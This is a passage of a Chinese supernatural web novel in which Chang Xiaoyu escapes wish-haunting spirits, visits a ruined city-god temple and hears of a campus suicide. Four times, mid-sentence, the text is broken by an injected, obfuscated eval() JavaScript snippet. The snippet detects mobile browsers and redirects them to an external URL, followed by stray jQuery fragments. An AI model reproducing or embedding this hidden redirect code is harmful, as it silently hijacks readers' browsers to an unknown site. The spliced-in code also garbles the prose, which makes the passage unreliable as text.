确实是香烛,红色蜡烛液顺着香烛柱身滑落在漆黑的地上,凝结成一团小小的圆,与其他凝固的蜡烛液结合形成香烛新的底座。 微弱不起眼的火焰在香烛顶端跳跃燃烧,视线往前延伸,与这一模一样的香烛还有无数根,铺满了整个地面,所有火焰的光芒交织在一起,形成的明亮却不祥的红光。 “城隍大人为何不实现我的心愿呢?” 幽幽的声音四面八方而来。 常宵雨顿住,收回往前迈开的脚后退一步,目光飞速打量整个场地。 无数人细语。 “我的孩子在瘟疫中去世了。” “希望我的丈夫在过年时能够有假期回来和家里团聚。” 呢喃低语不知从何处传来,却又仿佛就响在她的耳边。 常宵雨的目光盯着场地中间,余光关注着最外围,在这期间,边缘的香烛无端少了几根,被周边的黑暗吞没。 “敬您三根香,城隍大人,我想争取成为这次修路项目的负责人。” “希望表哥的考试分数比我低,这样我就不会被父母骂了。” 常宵雨悄悄把雨伞挪到背后,在来时的路上探查,还是实地平面。 心中强烈的不安提醒她立刻离开,可她又不想错过可能得到更多与城隍有关消息的可能,这事关她的未来。 “妾与李家三女儿分明是好友,她却在闺中害我清白,如今我没有什么可失去的了,请城隍大人保佑我报仇成功。” 婀娜多姿的长发女性的黑影在香烛边缘跪拜。 “老板的独生女看上去对我很有好感,但我已经结婚一年了,不过我不会放弃的,希望城隍大人保佑我一切顺利。” “怎么会这样?我明明拿到了项目,修的路却出差错坍塌了,城隍大人,我不是已经给您献上贡品了吗。” 许愿的声音不知不觉间变得尖锐。 “明明对您来说,只是随手的事。” 烛火自边缘一排排熄灭,鬼影重重,无数轮廓各异的黑影吞没香烛,火焰的红光变得微弱,最中心的烛火颤动不已。 不能继续看下去了。 危机感萦绕在心头,常宵雨果断抓起伞转身就跑。 但即便将那一团快要消失的红光抛在身后,耳朵依旧能听到那些人的声音。 “如果不能够保佑我,实现我的愿望,算什么神?” “占卜摇签的时候掉下来的唯一一根签,说明了您是愿意保佑我的,可我的病为什么没有任何好转?您是愿意保佑我的吧!” 再好奇也不要回头。 常宵雨听见自己心脏打鼓的声音,和自己拼命奔跑的脚步声重合在一起。 最后一点烛光消失了。 无数不同性别年龄的人声音汇聚在一起,不停念叨着城隍。 “城隍大人,为何不实现我们的心愿?” 常宵雨脑瓜子嗡嗡响,耳边的声音让她感到一阵眩晕,但她不敢停下,一股劲地往前跑。 她的身体素质不错,跑起步来,速度快耐力也强,但在远离声音来源的过程中,她还听到了其他声音。 除了她自己跑步声音以外的,杂乱无章的,由弱到强的脚步声。 再快一点,甩掉他们。 常宵雨加快速度,让大腿带动小腿奔跑,尽管如此,身后那些鬼东西依旧紧紧跟随,甚至在不断流逝的时间中,缩短和她之间的距离。 肺部燃烧,氧气剧烈消耗,疼痛感蔓延开,五脏六腑仿佛被牵引着强行停留在身体里。 她预估自己的状态,这种速度没法维持很久,速度慢下来的时候就是她丧命的时候。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542671|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样下去不行,它们可以一直追,但常宵雨不可能一直跑下去。 有没有什么办法? 可恨她以往的空闲时间不是兼职,就是去佛寺道观寻找解决霉运的办法,没有了解过这些鬼东西该如何对付。 常宵雨运气差得离谱,顶多觉得有点玄学说法,却从没往神神鬼鬼的方向想过。 毕竟有人抽卡次次出金,彩票次次中奖,走路都能捡到钱,有她运气这么差的人很合理。 要跑不动了。 心里激励自己,身体的疲惫却无法掩盖,尽管拼命奔跑,常宵雨的速度还是慢下来了。 身后突然传来风声。 尖锐的指甲划破常宵雨的衣角,眼看就要被抓到。 难道她就要死在这里?不,她不甘心,就算是死,她也不想死在被厄运吸引来的东西上。 “这边!” 斜地里突然插出一只手,拽着她的手腕就往右边跑。 常宵雨的脚踩死在地面脚尖一蹬,猛地改变方向,躲过身后抓来的手,顺着前面那人的力道往右手边跑去。 她的视线落在手腕上,顺着对方的虎口向上看,小臂中间被宽大的黑色宽袖遮盖,在跑动中摇摆。 再往上,以常宵雨的视角来看,只能看到他被斗篷兜帽遮盖得严严实实的头顶,个子不高,才到她的胸口。 “愣着干什么,别慢下来啊!” 察觉到她走神,他转过头,兜帽下是一张唇红齿白,显得非常幼齿的脸庞,还是个小孩样。 血红双瞳在黑暗背景中闪烁光芒。 他有些不满地嘀咕:“跟着我跑就好了,想那么多有什么用。” 不知是人是鬼,但总比身后那些东西强。 常宵雨手腕一扭,反握住他的小臂,皮肉下细细的尺骨压在手心。 不知是不是错觉,有了他的带领,跑动起来身体轻盈许多,就这一会儿的功夫,身后的脚步声就隐没于黑暗中,直到完全听不见。 四周陷入寂静,只有常宵雨自己的脚步声回荡。 没多久,脚下地形变幻,抓着她手腕套着黑斗篷的身影拔高。 上坡比平地奔跑费力。 在这里,时间失去了意义,但常宵雨根据她的到极限的体能状态估算,恐怕已经过了很久了。 仿佛明白她此刻的状态,手腕一紧,前面那人的手抓得她生疼,一股巨力从手腕传来。 有了这股向上的拉扯力帮助她,虽然步伐不停,但却让她有了喘息的机会。 常宵雨专心跟着前面的力道奔跑。 一个泛着白色光晕的正方形出现在视线中。 道路两旁,犹如湖泊般,红色涟漪点点泛起,枯木自涟漪里升起。 越接近出口,涟漪色泽越清,血色淡去,枯木逢春,嫩芽在抽条的细枝上冒出。 在嫩叶掩盖下,粉色花苞偷偷逃出一角。 常宵雨收回视线。 前方远远的正方形,从小小一个,随着距离接近涨大成一栋楼大小,那人最后回头看她一眼,猛地扎入正方形中,身体消失在光里。 只剩紧握她的手能够被看见,袖子接着也被吞没。 常宵雨被放大的白色光芒刺得泛泪,跟着冲进正方形中。 恍惚听到了水声。 “哗啦啦。” 5. 第5章 “她眼睛动了,是不是快醒了?” “我看看,晕两个小时了,差不多了吧。” 常宵雨猛然睁开眼,听见自己心脏跳动剧烈的声音,眼睛警惕的在天花板上转动一圈,把旁边戴着黑底点缀七彩刺绣帽子的女孩吓了一跳。 “啊,啊!你醒了?我去告诉阿姐。”她放下水壶跑了出去。 天色正好,漆黑的环境仿佛只是一场梦。 所以那只是一场梦?不可能。 常宵雨坐起来看向木质床头柜,透明水杯装满了水,旁边就是刚才那个女孩放下的水壶。 没见到被丢出去的乌鸦的身影。 她莫名回忆起小男孩血红色的双眼,这两者眼睛颜色相同,摇了摇头,又把思绪摇散。 伸手在枕头旁边摸到单肩包,她撑开包包,检查里面的物品有无丢失损坏,继续打量周围。 楼房的结构相当古典,家具与房屋主体多为木质,床铺正对面放着竹编摇椅,上面随意挂着外套。 窗边传来细微声响,常宵雨寻声望去,就看到赫罗特在木条支起的窗户底下鬼鬼祟祟的探出头。 他扭动身体灵活钻进来,飞到被子上,在上面踱步三回,停下来看着常宵雨。 常宵雨也垂眼看他。 “你……” 门口阳光大亮,门被推开,刚才见过的女孩推门的手还撑着门板,身后站着一位比她高一些的女性。 看到被单上的乌鸦,她瞪大双眼。 “啊!死鸟!”女孩撸起袖子气势汹汹的就要冲上来把乌鸦赶跑,没想到走的太急,左脚绊右脚,右脚脚踝处瞬间扭了一下。 身体失去平衡,她瞪大眼,双手在空中胡乱挥动,差点打到常宵雨,常宵雨用手拢住乌鸦,身体往右边倾斜躲过她突如其来的袭击。 “嘎啊啊——” 赫罗特大肆嘲笑她,然后被常宵雨的手指上下两根捏住了嘴。 一只白皙纤细的手揪起女孩后背衣服,把她拎起来,没让她扑倒在床上。 常宵雨逆着阳光辨认后面那人的五官。 她的脸部轮廓比手中拎着的女孩更加锐利,眼形细长,弯弯细眉却浓郁。 “抱歉,我妹妹太冒失了,希望没有吓到你。” 女孩神色沮丧,常宵雨提醒道:“没关系,不过这只鸟是我养的。” 女孩大惊失色,解释她以为这只乌鸦打扰常宵雨睡觉,所以想把他赶出去,不过看常宵雨表情淡淡,知道并无怪罪她的意思,便安了心。 “是你们救了我吗?”常宵雨指了指旁边的包:“这里是……?” “是锦水镇啦。” “就是你晕倒车站附近的镇子里。”女孩姐姐放下妹妹的领子:“当时我们发现你晕倒在草坪上,像是从路边直接滚出很远才停下来,后面发现你没有外伤却晕倒了,担心你可能有其他问题,所以暂时把你背回来。” 看来她到达目的地了。 城隍庙就在这里吧。 “谢谢。”常宵雨语言匮乏,不知道如何更好的道谢,低头看着被子,被单印着浅蓝色小碎花。 她想起与此清新风格完全相反的黑色黏液,只是看到就令人头晕作呕。 “你们发现我的时候,有没有发现别的奇怪的东西?或者发生了其他事?”比如路面的大坑,公交车的现状。 “奇怪的东西?”女孩摸了摸下巴,眼睛往上看,搜寻大脑中的记忆。 “没有吧,我们经常进出镇子,我敢保证和以前没有任何区别,除了这只鸟。”女孩一挥手指向赫罗特:“这只乌鸦倒是一直跟着你。” “别和一只鸟计较。”她的姐姐摸了摸她的头。 没有异常吗? 但常宵雨绝不认为那只是一个梦,做梦也需要素材,而她平常不接触这类话题。 房屋里没有挂的时钟,她重新掏出手机点亮屏幕。 居然已经下午了。 她必须早点去看眼城隍庙,赶在天黑前回去,免得又出意外。活了这么多年,她清楚自己霉运的规律,在夜晚尤其活跃。 常宵雨掀开被子下床穿好鞋,把赫罗特放在兜里,拎起包。 “谢谢你们救了我,但是我这次来是为了这里的城隍庙。”常宵雨冲两人点点头:“而且我得早点回去,没带什么东西当谢礼,希望你们不嫌弃。” 她张开手掌,手里躺着几颗巧克力。 她的包里经常放着一些以备不时之需的东西,包括补充糖分的糖果。 “心领了,其实我们只是把你搬回来了而已。” “但是阿姐,家里不是正好没糖了吗?”女孩看着姐姐。 常宵雨把巧克力放在旁边的床头柜上:“如果不好意思收下,你们可以跟我多说说城隍庙相关的事情,我正想要这方面的信息,巧克力就当是报酬了,怎么样?” 也不知道像谁,这么馋嘴,看着妹妹两眼放光的样子,女孩姐姐还是接受了提议。 “你说的那座城隍庙,我小时候还对它有些印象,存在很多年了,破旧得比最里面废弃的泥土房还要烂,香火早就断了。” 她顿了顿:“你要是想去看看,倒是没什么人拦着,近些年由于小镇以文化为卖点宣传旅游,游客多了,有几个好奇的进去看过,只是……别抱太大期望,它没有网上宣传的那么古老,一百多年前被火烧了重建过,并不是原装的。” “现在没有人信神,也没有人维护,即便老一辈的人也只是遵循观念上的尊重罢了,毕竟在我记忆里城隍庙从来没有灵验过,所以破破烂烂的。” 女孩终于知道她们在聊什么了,插了下嘴:“啊!我小时候还偷偷跑去那边许过愿呢,我想躲过阿姐和阿姆吃点糖,可惜到底没有实现,还被打了一顿。” 她扁着嘴摸了摸屁股,仿佛幻痛还存在。 常宵雨企图探听更多信息。 “那有没有流传下来的信息?再离谱的我都想知道。” 女孩姐姐思考片刻,实在想不出什么,摇了摇头。 “这个!这个我知道!”女孩举手增强存在感:“去年去世的一个姥姥有老年痴呆症,她经常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542672|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说城隍庙会吃人什么的!许过愿的人都会看到黑漆漆的东西,然后被吃掉!” 她的头顶狠狠地被姐姐拍了一下,本来就不怎么样的身高平白又矮了一头:“知道危险还偷偷跑过去玩。” “不过你看十几年过去,我妹妹还好好的,就该知道事实不是那样的。”她无奈的对常宵雨解释:“抱歉,我们虽然生长在这里,却对城隍庙没什么了解,帮不了你。” “不,已经帮大忙了。”常宵雨知道再问也打听不出什么别的,只知道城隍庙并不灵验,而她嘴里吃人的东西恐怕就是之前遇到的那玩意儿。 即便如此,来都来了,她必须得去看看。 出了屋子,女孩在姐姐面前,站在青石铺就的小路中间高抬手臂挥手道别,常宵雨象征性的远远挥了挥手,回过头按照她们指出的路前往城隍庙。 地图上看着镇子范围小小一块,真正走起来,路还挺长。 常宵雨收起手机,沿着路边建筑向内走,这才有空思考。 那一滩诡异的黑色粘液,明显超出科学范围,刷新了她的世界观。 不过…… 常宵雨头部不动,眼睛下移,看向赫罗特难得安静的脑袋。 这家伙也不是普通乌鸦。 昨天吃了那么多东西,整整一晚过去没有进行任何排泄,纸箱里干干净净。 不太正常。 乌鸦唯一露在口袋外的脑袋羽毛七彩斑斓,怕是有点冷,常宵雨的手插进口袋,探了探他的身体温度,放心的抽出来。 赫罗特吃饱了,有些昏昏欲睡,小脑袋一点一点的,全靠口袋廓形支撑。 几百人集合的怨念非常杂乱,仅靠本能行动,量大却太过弱小,这就便宜了他。 赫罗特知道自己突然吃掉的残魂太多,消化能力也不如以往,只能专心集中精力转换能量,剔除其中无用的。 歇了好一会儿,当全新的能量在体内小溪流一样流转起来时,他终于睁开眼睛,观察常宵雨的灵魂。 漆黑的灵魂毫无遮拦散发黑气,焚烧厂里燃烧垃圾的灰烬般遮蔽视线,金光在那团集合的怨念里已经消耗殆尽。 金光能够有效抵挡外界的脏东西,现在她的灵魂毫无防护,又不断的发出吸引外界负面能量的信息。 消化了部分残魂的赫罗特,明白了这些黑气是极为纯粹的恶意,不过他恢复了些力量,就算出事也有他在,保命不成问题。 赫罗特安心地把脸侧贴在口袋上。 冬季衣服厚实又温暖柔和,他舒服得眯起眼,口袋里摇摇晃晃的,让他又升起些许困意。 直到常宵雨停下脚步。 面前的木门残留着张贴画像的痕迹,上头匾额不翼而飞,只留下颜色更浅些的长方形空白。 只是略微靠近,就闻到里面陈旧,独属于历史的气息。 捂住鼻子,常宵雨伸手轻轻推门。 “嘎吱——” 门轴腐蚀得厉害,一推就松,门板在推开后自发回旋关上,她只好用手指抵着大门腾出进入空间,跨过门槛。 6. 第6章 檐角断裂,杂草从砖缝中钻出,蛛网密布,空中灰尘在阳光下飞舞。 常宵雨走近,踢到脚边瓦片,碎成几片。 布满青苔裂纹的墙角随意丢着几只蒲团,扁扁的染上深绿,与墙角融为一体。 城隍庙比想象中要大。 隐约看到几百年前,香火缭绕,古朴建筑散发着艳丽光泽的辉煌景象。 进入城隍庙,香炉插着三根长短不一的香,尖端未燃烧完全,也再无法点燃,底下灰烬冷冷。 常宵雨抬脚,鞋底摩擦地面,掀起地上凝固的烛液,滑出一片淡红蜡片。 她抬头看着面前在供台上显得无比高大的神像。 神像铜雕,长期没有人维护,表面斑驳,绿色铜锈一块一块附着在上,它紧闭着眼,眼眶轮廓在昏暗的光线下依旧投下了深深的阴影。 神明当面,无论是否灵验都得尊敬些。 常宵雨拿过靠在门边用地肤草制作的扫把,摸了一手灰,她掂了掂,重量不轻。 扫把经过好几年岁月的侵蚀依旧能够使用,她将神像正对面中间的空地打扫一番,在周边堆出厚厚的灰尘,然后一扫帚打飞出门。 堆积的灰尘,洋洋洒洒的落在地面,日后其中一部分会随着风雨流出城隍庙。 红木供桌上灰尘粘连,几乎形成了厚厚的网,把蛛网般的灰尘从香炉上拔拉下来,勉强保持状态的三根香彻底碎成粉末,与香炉里的灰烬融为一体。 简单处理干净供桌上的灰尘,就需要清理神像了。 常宵雨看着自己的手掌,张开又握紧双手。 其实她很明白自己做这一切的意义,无非就是让这个不知道是否存在的神对她印象好些,甚至有点急病乱投医的意味。 可除了这些,她再也没有什么别的能做的,空闲时能够寻找的办法都被她尝试过。 虔诚是她唯一能做到的事。 可是,万一真的存在呢,如果那样漆黑恶心的东西都能存在的话,说不定世上真的有神。 常宵雨收起思绪,继续干活。 她从后面爬上供桌,用手帕纸沾了水瓶里的水,勉强擦拭着神像的面部。 形象的轮廓与细节在清洁中逐渐清晰,这是一个女性城隍神像。 盘起来的长发根根分明,头上雕刻的珠翠也是栩栩如生,闭合的眼睛没有看任何一个方向,却能让人感觉到她的慈悲。 足见雕刻工匠的用心。 粗略的清理一下,基础的清洁已经做完。 常宵雨抓住略微往两边撑开的神像大臂,扭头看准供桌后的地板,把后脚往下伸,脚尖踩到地面,才回过头来把另一只脚也放下去。 一通操作完毕,身上沾了不少灰尘,她拍拍衣服将灰尘抖落,由于视角原因,这才注意到神像的底座上刻着两个字。 她弯腰凑近了看。 香寒。 应该是这个城隍的名字。 常宵雨停顿了一会儿,不太熟练地思考自己接下来做事的流程。 绕开供桌,重新站到神像正对面,从包里掏出一塑料盒绿豆饼,打开放在香炉旁边,当做是供奉的祭品。 接着又从底部谨慎地抽出一个密封袋,里面装着去年没用完的线香,恰好仅剩三根。 “啪嚓。” 打火机喷出的火舌点燃线香,白烟向上飞跃,醇厚淡雅的味道飘散,常宵雨双手持着三根线香,郑重地插入到香炉当中。 她后退一步,撩开厚重的外套,双膝跪在清理出来的地面,长裤转瞬间就染上灰黑色。 双手合十,手从双膝下抬起,手臂慢慢上举,直至眉间,随后深深俯首。 姿势变化,右手在下左手在上覆盖一起,放于身前地面,然后在手背上扣首,第二下则无需碰到手背。 常宵雨直起上半身,怔怔地望着神像安静的面容。 是时候许愿了,却突然一句话都说不出来。 是想让城隍出面解决她的霉运?还是想知道自己倒霉的原因。 即使神真的存在,现在的她也拿不出与之对应的报酬,若是条件允许,她不想依靠别人,包括神。 常宵雨迟迟未动。 赫罗特从口袋里挣脱而出,跳到常宵雨肩上,尾羽扫过脖颈,仿佛在提醒她继续下一步。 这是一个鲜活的生命。 尽管乌鸦什么都不懂,但有了他陪在身边,一股暖意感染她的心脏,一直以来一个人的常宵雨突然有了诉说的勇气。 常宵雨稳定心神,闭上眼,换掉了原先想许的愿望,坚定自己的内心:“我想找到解决这一切的办法。” 话音落地,四周重归寂静,只有门外树叶的摩擦声、风声路过她的耳畔。 常宵雨垂眼,站起来拍了拍裤腿,再次一鞠躬,拎起包转身走向大门。 赫罗特转过身,看着常宵雨身后的城隍庙渐渐远去,世间的一切似乎都无法动摇城隍神像,铜雕的神情依旧平静。 常宵雨一步跨出门槛,大门将合上的瞬间,一朵不知从何而来的浅粉梅花飘飘荡荡,跨过院墙,落在小院的破碎砖瓦当中,成为灰扑扑城隍庙里的唯一亮色。 赫罗特收回目光,跳回正面。 * 有惊无险的回到家,天已经黑了,草草在楼下小店里吃完晚餐,洗漱后爬上床。 第二天,天蒙蒙亮,她把赫罗特关在家里前往奶茶店继续兼职,运气关系中途经常出小差错,不过她已经习惯了,对补救措施有独家心得,最后也没有闹出任何问题。 这让常宵雨放松了些,她担心的是像砸落的广告牌一样影响较大的事故,威胁她的小命。 一天下来,发生的问题都是一些小打小闹,平静得让她都觉得有些奇怪。 她带着市场捡的旧鸟笼回了家,用钳子掰正修好。 打开纸箱,看着乌鸦在里面一动不动,一分钟后才突然探出一只头,盯着她的小脑瓜思考。 常宵雨拍了拍鸟笼,吸引乌鸦的注意力。 赫罗特脑袋一缩,很是抗拒。 不过说到底,在鸟笼里睡觉比纸箱舒服的多,更干净,也更符合如今变幻的鸟类习性。 赫罗特转了一圈,勉强对鸟笼内部表示满意,他毕竟现在还是一只鸟,不能挑剔太多。 常宵雨坐在鸟笼前,边发呆边逗弄他,坐久了,开始向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542673|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他倾诉今天的所思所想,经历的有趣事情。 以往这种事只能写在日记里。 很快就又到了周一,上午没课,常宵雨中午出发,吸取之前的教训,把单肩包换成了有段时间没背过的双肩包,运动起来方便些。 走上台阶进入教学楼,她轻飘飘看了眼堵在电梯下长长的几条队伍,便收回视线。 她不坐电梯,万一出了事故,整箱人全军覆没。 这节课的教室在五楼,脸不红气不喘地上了楼,来到教室面前,教室为预防寒风门窗紧闭。 常宵雨推开门,室内安静无比,她立刻敏锐察觉到气氛不对。 快速扫过前排人的表情,这些人的脸上混杂着兴奋与恐惧,看起来有些怪异。 她推门进来带进寒气,教室里的同学都抬头看了她一眼,又迅速移开视线,重新低头和身边的同伴对视。 教室里几乎没人说话,只是互相传递眼神。 大学教室里的人聊天很正常,尤其是一会儿就上课了,他们更不可能放过现在闲聊的机会。 素来吵闹的教室如此和平安静,连窃窃私语都没有,常宵雨把诧异掩在心底,在黑压压的人群中搜寻施乃心的脸。 施乃心给她提前霸占了位置,此刻一言不发,只是举起手招呼她过来。 放在平时,她也会喊一声常宵雨的名字引起注意,告诉她座位的大概方向。 常宵雨在她身边坐下,棉服与她身侧外套摩擦,把书包塞进抽屉里,抽出上课要用的书籍和一支笔,摆在桌面。 施乃心的大眼睛直直看着她,里面的焦急和倾诉欲呼之欲出。 看来不需要她主动问了。 常宵雨略略侧身,低下头靠近她:“有什么想说的?” 施乃心急得直摆手,明明现在就可以说却张了张嘴,没有发出任何声音,眼睛慌乱的四处瞟,然后想到了什么,从口袋里掏出手机,指了指聊天界面。 常宵雨按照她的想法点亮手机。 【黄金榴莲派:你知道前天晚上发生什么了吗?】 常宵雨抬头看了她一眼,打字回复。 【雨:什么事?】 【黄金榴莲派:这件事其实学校发了禁口令,不允许我们私下讨论,但事情实在太大了,明面上没有谈论,暗地里传得满天飞,我也是昨天凌晨知道的。】 施乃心的室友是个相当开朗的人,稍微内向一点的看到她都感到害怕。 老师走进教室,施乃心把手机放低,躲开老师视线在桌面下噼里啪啦地打字。 常宵雨调暗手机亮度。 【黄金榴莲派:其实我昨天晚上被尖叫声吓到了,你知道的,我打游戏的时候全身心投入,自动屏蔽外界,但昨天心脏都快给我吓得跳出胸口了。】 【黄金榴莲派:我睁着眼就想知道到底发生了什么,其他三个室友都冲上阳台往外看,发现外面有很多保安,拿着足以把夜晚校园变成白昼的手电筒走来走去。看热闹的人实在太多,很快就有老师和宿管冲到楼下,让学生们全都回去睡觉,不要再站在阳台上。 后来我室友打听到消息,原来是旧校舍那边,有人跳楼了。】 7. 第7章 常宵雨忍不住回复。 【雨:自杀?为什么?】 【黄金榴莲派:我室友的一个朋友就在她们隔壁宿舍,据说好像是被她男朋友抛弃了。】 【雨:如果只是这样应该不至于跳楼吧。】 老师讲课时在台上走来走去,偶尔还会绕教室一圈走到后面,施乃心抬头确定老师的位置,继续低头打字。 施乃心打游戏多年手速飞快,一排一排的字连续输入到对话框里。 她说话有些颠三倒四的,想到哪里写到哪里,比起还原事情经过,倒不如说她只是按照自己得知消息的顺序将信息告诉常宵雨。 常宵雨看完所有信息,大概拼凑出事件的前因后果。 女孩为了晚上不回宿舍,提前请假了一天,然后在宿舍门禁后于旧校舍楼顶跳楼。 黑暗中,不想回宿舍而偷偷跑出来幽会的一对小情侣,在旧校舍约会时不小心踩到尸体,恐惧之下发出尖叫,惊动了保安和离旧校舍最近几栋宿舍楼的学生,比如施乃心。 保安来到事故地点后,立刻上报并封锁区域,在校领导的指示下报警。 赶来的警察通过检查女孩的遗物与对室友问话,得知了女孩的大概信息: 与男友恋爱后被拍了不雅视频,接着意外怀孕惨遭抛弃,她自然是不愿意的,结果被男友用视频威胁她不分手就把视频公布出去,她每天万念俱灰以泪洗面,被室友发现异常。 女孩长相清纯,是个小美女,平时为人亲和,经常帮助室友,和大家的关系很好,但无论怎样安慰与劝说,她都不愿意说出自己当时正遭遇的困境,室友们只好每天拉她出去散步吃饭,尽量让她不再想太多。 最近几天女孩意外的不再哭泣,室友们还以为她大约是想通了,松了口气,结果凌晨才在警察的口中得知这个噩耗。 一条生命的逝去竟然就在眼前,室友们一般抽泣一边配合询问。 但奇怪的是,女孩手机内的信息基本全被删除,通讯录里空荡荡的一个电话号码都没留下,社交软件里也找不到疑似男友的身影。 女孩有写日记的习惯,其中过程在日记本里倒是有部分记载,但依旧没有提到任何关于她男友的具体信息。 查明是自杀,警方就撤离了,所有疑点都没有得到答案。 实在是很奇怪的一件事。 【黄金榴莲派:真的可惜了,她如果先和父母沟通,有人帮忙分担也不会变成现在这样了,明明二十岁人生才刚刚开始。】 常宵雨沉默了一会儿。 【雨:那今天,她的父母现在在哪里呢?】 施乃心不知道。 但很显然,一天过去父母都没有音信,恐怕在生活中也能力有限,很难给予她帮助与安慰,对那个女孩来说,所谓能够依靠的男朋友说不定曾经是她生活里的救命稻草。 而现在,稻草断了。 【黄金榴莲派:唉,希望她下辈子能够过得幸福吧。不过,听说自杀的人灵魂不入轮回,会束缚在原地,我第一次这么希望这种说法是假的。】 【雨:我也是。】 她犹豫片刻,最后嘱咐。 【雨:这些事情我们心里知道就好了,不管别人外面怎么传,至少不应该从我们这里传出去,若是她泉下有知,也不希望这种事情传扬开来。】 看这气氛,怕是全校都知道了。 施乃心发了一个OK的表情包过来。 【黄金榴莲派:我也就和你说说而已,放心吧。】 常宵雨看完最后一条信息,松开按在锁屏键上的手指,平稳且不易察觉的将手机塞进书包里,拉上拉链,耳朵开始接收老师的课堂讲解,继续上课。 赫罗特偷偷跟来,站在离窗户最近的树上,用树荫掩盖身形,以他的能力完全能够听到其他人的窃窃私语,多半都在聊这件事。 来来去去的,他便搞懂发生了什么事情。 在他们那边也有自杀者无法进入冥界的说法,正常死亡的灵魂会被死神们收割带回冥界丢进冥河,根据工作契约分成灵魂能量当工资给死神。 自杀的灵魂完全就是外快,冥界不在意自杀而亡的灵魂是否可以投胎,一但被发现,就是收割完直接吃,谁抢到了就是谁的。 赫罗特翅膀轻轻一扇,悄无声息地飞走了,径直朝着旧校舍的方向飞去。 不吃白不吃。 然而,当他飞到旧校舍时,却发现这里一片平静,没有任何异常的气息。他绕着旧校舍飞了几圈,落在楼顶,仔细感受着周围的能量波动,依旧一无所获。 “奇怪……”赫罗特低声自语,血红双眼中闪过一丝疑惑。 难道是时间不对? 他抬头,目光透过聚集的云层,看到后面的太阳。 既然现在不行,那就夜晚再来看看。 * 常宵雨收拾好书包与施乃心告别,踏上回家的路,途经食堂。 这里距离旧校舍也很近,在学校上课的时候午餐和晚餐都会在食堂吃,但现在不一样。 常宵雨绕道而行,她担心沾上些不干不净的东西,去城隍庙路上遇见的事情还历历在目。 平时再冷静再有能耐,遇到超自然的事情,她自知无法解决,索性从源头切断,能不靠近尽量不靠近。 赫罗特赶在常宵雨回到家之前钻进鸟笼里,等常宵雨打开家门,他正好端端的待在里头,看起来很是乖巧。 只是,常宵雨不着痕迹的让目光掠过鸟笼。 鸟笼门的位置比起离家前,往左移动了点,开口处也比她走之前松垮,清晰明了的告诉她被撬开过。 不过也不是第一次发现端倪了。 想解决厄运,求神拜佛几年无用,也许这只奇怪的鸟才是突破口,最重要的是,他似乎不太聪明,也对她没有恶意。 常宵雨走到桌前,插头按进插座,开动电煮锅把中午拿出来解冻的食材丢进锅里,然后倒米加水。 等水蒸气在盖子上凝结成水流不住滴下,食材差不多熟了。 她掀开盖子,出了一锅乱炖。 乌鸦杂食,能吃的食物种类多,常宵雨把他放出来,用碟子乘了点推到他前方。 赫罗特第一次吃她做的饭,对此很感兴趣,不由的对表面上看起来色香俱全的饭菜丢失警惕。 叼起肉片,头一伸丢到嘴里。 他愣住了。 嘴里的味道直达胃部,难以言喻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542674|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> yue—— 赫罗特张大鸟喙,身体颤抖着想把刚才吃进去的东西吐出来。 常宵雨默默挪开碟子。 第一次在鸟的脸上看到“难吃”两个字,真的有那么难吃? 学校食堂饭菜味道本就令人诟病,可比不上食堂,也算是正常味道吧。 常宵雨对她黑暗料理的厨艺水平没有概念。 东西下肚,赫罗特再怎么努力也吐不出来,只好垂头丧气的放弃,把屁股对着常宵雨,短时间内不想再看见她的脸。 常宵雨也没管他,吃饭十五分钟结束战斗,收拾好残局就洗澡上床睡觉。 她把头枕在柔软的枕头上,将被子拉高盖过脑袋,沉浸在黑暗里。 明天早八,必须早点睡。 冬季偏寒,气温低,窝在被子里本该是一件舒服的事,容易让人陷入睡眠,但不知怎么的,常宵雨一直有些心烦意乱。 手机一分一秒过去。 她开动大脑细细追究检查自己身体反应,却找不出来由,越想越清醒。 常宵雨翻身,把另一边侧脸贴在枕头上,紧闭双眼,强制自己停止思考,进入睡眠。 只觉得过了很长时间,终于有了些困意。 咔哒。 细小的声音,没有逃过她的耳朵。 